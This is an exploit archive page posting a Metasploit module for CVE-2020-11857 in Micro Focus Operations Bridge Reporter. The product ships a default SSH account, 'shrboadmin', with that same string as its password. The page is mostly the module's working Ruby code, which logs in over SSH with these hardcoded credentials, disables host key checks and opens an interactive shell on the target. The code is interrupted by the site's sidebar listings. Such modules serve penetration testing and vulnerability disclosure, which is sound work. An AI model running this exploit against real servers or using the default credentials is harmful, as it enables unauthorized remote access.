Micro Focus Operations Bridge Reporter shrboadmin Default Password

Authored by Pedro Ribeiro | Site metasploit.com

Posted Apr 30, 2021

This Metasploit module abuses a known default password on Micro Focus Operations Bridge Reporter. The shrboadmin user, installed by default by the product has the password of shrboadmin, and allows an attacker to login to the server via SSH. This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier versions are most likely affected too. Note that this is only exploitable in Linux installations.

tags | exploit
systems | linux
advisories | CVE-2020-11857
SHA-256 | `f916dce1d07e07e927e2802d2dca83cb6a07b9d397ca34c5d01f9b2245b2667b` **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus Operations Bridge Reporter shrboadmin default password',
        'Description' => %q{
          This module abuses a known default password on Micro Focus Operations Bridge Reporter.
          The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin',
          and allows an attacker to login to the server via SSH.
          This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier
          versions are most likely affected too.
          Note that this is only exploitable in Linux installations.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
          ],
        'References' =>
          [
            [ 'CVE', '2020-11857' ],
            [ 'ZDI', '20-1215' ],
            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md' ],
            [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03710590' ],
          ],
        'DefaultOptions' =>
          {
            'EXITFUNC' => 'thread'
          },
        'Payload' =>
          {
            'Compat' => {
              'PayloadType' => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' =>
          [
            [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
          ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-09-21'
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'Username to login with', 'shrboadmin']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'shrboadmin']),
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: pass,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def exploit
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    print_status("#{rhost}:#{rport} - Attempt to login to the server...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end
  end
end
```

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other